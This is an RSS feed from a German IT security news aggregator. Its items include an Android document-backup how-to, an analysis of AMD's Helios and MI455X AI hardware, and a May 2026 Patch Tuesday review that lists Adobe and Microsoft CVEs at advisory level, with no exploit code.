<![CDATA[Team IT Security - 📰 Alle Kategorien]]> de-DE Sat, 01 Aug 2026 10:46:02 +0200 Sat, 01 Aug 2026 10:46:02 +0200 15 2026 Team IT Security lakandor@tsecurity.de (Horus Sirius) lakandor@tsecurity.de (Horus Sirius) IT Security Cybersecurity Nachrichten Team IT Security RSS Generator v2.0 https://tsecurity.de/favicon.ico <![CDATA[Team IT Security - 📰 Alle Kategorien]]> <![CDATA[Top 10 Best Active Directory Management Tools 2026]]> https://tsecurity.de/de/3695430/it-security-nachrichten/top-10-best-active-directory-management-tools-2026/ https://tsecurity.de/de/3695430/it-security-nachrichten/top-10-best-active-directory-management-tools-2026/ Sun, 26 Jul 2026 11:32:45 +0200 📰 IT Security Nachrichten tsecurity.de Managing Active Directory with native tools alone can become time-consuming as an organization grows. Routine tasks such as provisioning users, resetting passwords, managing group memberships, auditing permissions, and maintaining compliance can place a heavy burden on IT teams. Manual processes


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]]> <![CDATA[10 Best Active Directory Management Tools 2026]]> https://tsecurity.de/de/3695349/it-security-nachrichten/10-best-active-directory-management-tools-2026/ https://tsecurity.de/de/3695349/it-security-nachrichten/10-best-active-directory-management-tools-2026/ Sun, 26 Jul 2026 10:21:00 +0200 📰 IT Security Nachrichten tsecurity.de Managing Active Directory with native tools alone can become time-consuming as an organization grows. Routine tasks such as provisioning users, resetting passwords, managing group memberships, auditing permissions, and maintaining compliance can place a heavy burden on IT teams. Manual processes also increase the risk of configuration errors, excessive privileges, security gaps, and inactive accounts going [
]

The post 10 Best Active Directory Management Tools 2026 appeared first on Cyber Security News.

]]> <![CDATA[Your instant Android backup upgrade]]> https://tsecurity.de/de/3694774/ai-nachrichten/your-instant-android-backup-upgrade/ https://tsecurity.de/de/3694774/ai-nachrichten/your-instant-android-backup-upgrade/ Sat, 25 Jul 2026 19:50:10 +0200 🔧 AI Nachrichten tsecurity.de

Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.

In many areas of our digital life, that mercifully does Just Workℱ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.

One area where seamless syncing somehow still doesn’t occur, though, is in the domain of downloaded documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on that one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.

Well, take a moment to join me in celebration: Amidst all the Gemini gobbledegook that no one asked for (and that often falls somewhere between “pointless” and “actively counterproductive”), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to you to find and activate it.

Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.

All you’ve gotta do is find and flip that one new switch.

[Don’t let yourself miss an ounce of Android Intelligence. Join my free weekly Android Intelligence newsletter and get one new thing to try in your inbox every Friday!]

The Android backup lowdown

So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.

‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.

Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many other areas of important data are also synced on their own at the app level — outside of any system mechanisms.

Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on that one device and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if you go out of your way to find and set up a third-party app to handle the heavy lifting.

That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself
) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.

See?

Android backup documents
The easily overlooked new option for backing up documents on Android.

JR Raphael, Foundry

The option is on its way to all devices running 2018’s Android 9 release and higher. (If you’re still using a phone with an Android version older than that, you’re now a whopping eight years out of date, and you have much bigger problems.)

Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.

Lemme show ya how.

Android’s document backup addition

I promise: This couldn’t be much simpler.

No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)

Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.

However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.

Android backup options
Android’s expanded list of backup options — now including documents alongside other forms of on-device data.

JR Raphael, Foundry

And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.

If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.

Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That does mean they’ll count against your overall Google storage total, so keep an eye on your Drive storage total to make sure you’re in solid shape and look to the Google One storage hub if you ever want some simple suggestions for freeing up space.

Speaking of other Google services: If you ever want to keep other types of locally stored non-document files from an Android device synced and available elsewhere, you can easily rely on Google Photos for syncing screenshots and other images — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific individual on-device folders if you want to sync some but not all of those areas) — and you can still turn to those aforementioned third-party apps for broader syncing of anything else imaginable.

But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on you to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.

Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that that can only be a good thing.

Get practical Android knowledge in your inbox every Friday with my free Android Intelligence newsletter — one new thing to try each week, straight from me to you.

]]> <![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]> https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/ https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/ Sat, 25 Jul 2026 19:50:07 +0200 🔧 AI Nachrichten tsecurity.de

AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.

AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).

The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  

AMD’s MI455X targets the AI memory wall

The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.

Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.

AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.

AMD Instinct chart showing generational leap in performance

AMD

The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.

The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.

AMD’s Helios rack takes aim at Vera Rubin

AMD Helios rack

Dave Altavilla

Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.

In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.

These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.

AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.

While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.

Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.

Kind of like cowbell, AMD Venice gives agentic AI more CPU

Chart showing AMD EPYC CPU performance

AMD

AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.

Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.

Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.

Pensando networking and ROCm software advance

Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.

As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.

On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.

These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.

Customer commitments underscore rack-scale confidence

AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.

Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.

Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.

There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.

AMD expands its robotics and embedded foundation

AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.

The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.

Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.

Execution for AMD is now the test

AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.

AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.

As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[How to Optimize Vector Search When RAM Gets Too Expensive: On-Disk vs. In-Memory ANN Indexes]]> https://tsecurity.de/de/3694700/ai-nachrichten/how-to-optimize-vector-search-when-ram-gets-too-expensive-on-disk-vs-in-memory-ann-indexes/ https://tsecurity.de/de/3694700/ai-nachrichten/how-to-optimize-vector-search-when-ram-gets-too-expensive-on-disk-vs-in-memory-ann-indexes/ Sat, 25 Jul 2026 19:49:17 +0200 🔧 AI Nachrichten tsecurity.de Architecting cost-effective infrastructure by navigating the latency and storage trade-offs of HNSW, SPANN, and DiskANN

The post How to Optimize Vector Search When RAM Gets Too Expensive: On-Disk vs. In-Memory ANN Indexes appeared first on Towards Data Science.

]]> <![CDATA[The May 2026 Security Update Review]]> https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/ https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/ Sat, 25 Jul 2026 19:02:56 +0200 đŸ•”ïž Hacking tsecurity.de I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.

Adobe Patches for May 2026

For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:

Bulletin ID Product CVE Count Highest Severity Highest CVSS Exploited Deployment Priority
APSB26-49 Adobe Commerce 15 Critical 8.7 No 2
APSB26-48 Adobe After Effects 4 Critical 7.8 No 3
APSB26-50 Adobe Connect 2 Critical 9.6 No 3
APSB26-51 Adobe Illustrator 4 Critical 7.8 No 3
APSB26-47 Adobe Media Encoder 2 Critical 7.8 No 3
APSB26-46 Adobe Premiere Pro 3 Critical 7.8 No 3
APSB26-55 Adobe Substance 3D Painter 2 Critical 7.8 No 3
APSB26-54 Adobe Substance 3D Sampler 1 Critical 7.8 No 3
APSB26-53 Content Authenticity SDK 14 Critical 7.5 No 3
APSB26-52 Adobe Substance 3D Designer 5 Important 6.3 No 3
TOTAL 10 bulletins 52

The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.

Microsoft Patches for May 2026

This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.

This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.

None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:

-    CVE-2026-41096 - Windows DNS Client Remote Code Execution Vulnerability
This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.

-    CVE-2026-41089 - Windows Netlogon Remote Code Execution Vulnerability
This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.

-    CVE-2026-42898 - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability
This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.

-    CVE-2026-40415 - Windows TCP/IP Remote Code Execution Vulnerability
This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.

Here’s the full list of CVEs released by Microsoft for May 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited Type
CVE-2026-35435 Azure AI Foundry Elevation of Privilege Vulnerability Critical 8.6 No No EoP
CVE-2026-35428 Azure Cloud Shell Spoofing Vulnerability Critical 9.6 No No Spoofing
CVE-2026-42826 Azure DevOps Information Disclosure Vulnerability Critical 10 No No Info
CVE-2026-32207 Azure Machine Learning Notebook Spoofing Vulnerability Critical 8.8 No No Spoofing
CVE-2026-33109 Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability Critical 9.9 No No RCE
CVE-2026-33844 Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability Critical 9 No No RCE
CVE-2026-41105 Azure Monitor Action Group Notification System Elevation of Privilege Vulnerability Critical 8.1 No No EoP
CVE-2026-33111 Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability Critical 7.5 No No Info
CVE-2026-26129 M365 Copilot Information Disclosure Vulnerability Critical 7.5 No No Info
CVE-2026-26164 M365 Copilot Information Disclosure Vulnerability Critical 7.5 No No Info
CVE-2026-33821 Microsoft Dynamics 365 Customer Insights Elevation of Privilege Vulnerability Critical 7.7 No No EoP
CVE-2026-42898 Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability Critical 9.9 No No RCE
CVE-2026-40379 Microsoft Enterprise Security Token Service (ESTS) Spoofing Vulnerability Critical 9.3 No No Spoofing
CVE-2026-40363 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40358 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-34327 Microsoft Partner Center Spoofing Vulnerability Critical 8.2 No No Spoofing
CVE-2026-40365 Microsoft SharePoint Server Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-41103 Microsoft SSO Plugin for Jira & Confluence Elevation of Privilege Vulnerability Critical 9.1 No No EoP
CVE-2026-33823 Microsoft Team Events Portal Information Disclosure Vulnerability Critical 9.6 No No Info
CVE-2026-40364 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40366 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40361 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40367 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-42831 Office for Android Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-41096 Windows DNS Client Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-35421 Windows GDI Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-40403 Windows Graphics Component Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-40402 Windows Hyper-V Elevation of Privilege Vulnerability Critical 9.3 No No EoP
CVE-2026-32161 Windows Native WiFi Miniport Driver Remote Code Execution Vulnerability Critical 7.5 No No RCE
CVE-2026-41089 Windows Netlogon Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-32175 .NET Core Tampering Vulnerability Important 4.3 No No Tampering
CVE-2026-32177 .NET Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-35433 .NET Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2025-54518 * AMD: CVE-2025-54518 CPU OP Cache Corruption Important No No RCE
CVE-2026-42899 ASP.NET Core Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-40381 Azure Connected Machine Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42823 † Azure Logic Apps Elevation of Privilege Vulnerability Important 9.9 No No EoP
CVE-2026-33833 Azure Machine Learning Notebook Spoofing Vulnerability Important 8.2 No No Spoofing
CVE-2026-32204 Azure Monitor Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42830 Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability Important 6.5 No No EoP
CVE-2026-33117 Azure SDK for Java Security Feature Bypass Vulnerability Important 9.1 No No SFB
CVE-2026-41109 GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-35424 Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-41614 M365 Copilot for Desktop Spoofing Vulnerability Important 6.2 No No Spoofing
CVE-2026-41100 Microsoft 365 Copilot for Android Spoofing Vulnerability Important 4.4 No No Spoofing
CVE-2026-40377 Microsoft Cryptographic Services Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-41094 Microsoft Data Formulator Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40417 Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42833 Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability Important 9.1 No No RCE
CVE-2026-42838 Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability Important 5.4 No No EoP
CVE-2026-40360 Microsoft Excel Information Disclosure Vulnerability Important 7.8 No No Info
CVE-2026-40359 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-40362 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-42832 Microsoft Excel Spoofing Vulnerability Important 7.7 No No Spoofing
CVE-2026-34329 Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40419 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40418 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35436 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-40420 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-42893 Microsoft Outlook for iOS Tampering Vulnerability Important 7.4 No No Tampering
CVE-2026-40374 Microsoft Power Automate Desktop Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-41102 Microsoft PowerPoint for Android Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2026-35439 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40368 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-33110 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-33112 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40357 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-32185 Microsoft Teams Spoofing Vulnerability Important 5.5 No No Spoofing
CVE-2026-41101 Microsoft Word for Android Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2026-35440 Microsoft Word Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-40421 Microsoft Word Information Disclosure Vulnerability Important 4.3 No No Info
CVE-2026-41097 Secure Boot Security Feature Bypass Vulnerability Important 6.7 No No SFB
CVE-2026-40370 † SQL Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-41613 Visual Studio Code Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-41612 Visual Studio Code Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-41611 Visual Studio Code Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-41610 Visual Studio Code Security Feature Bypass Vulnerability Important 6.3 No No SFB
CVE-2026-33839 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33840 Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34330 Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34331 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35423 Windows 11 Telnet Client Information Disclosure Vulnerability Important 5.4 No No Info
CVE-2026-35438 Windows Admin Center Elevation of Privilege Vulnerability Important 8.3 No No EoP
CVE-2026-41086 Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-34344 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34345 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35416 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-41088 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34343 Windows Application Identity (AppID) Subsystem Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35418 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-33835 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34337 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40407 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40397 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42896 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35419 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-34336 Windows DWM Core Library Information Disclosure Vulnerability Important 7.8 No No Info
CVE-2026-33834 Windows Event Logging Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32209 Windows Filtering Platform (WFP) Security Feature Bypass Vulnerability Important 4.4 No No SFB
CVE-2026-33841 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35420 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40369 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34332 Windows Kernel-Mode Driver Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-34339 Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability Important 5.5 No No DoS
CVE-2026-34341 Windows Link-Layer Discovery Protocol (LLDP) Elevation of Privilege Vulnerability Important 7 No No EoP
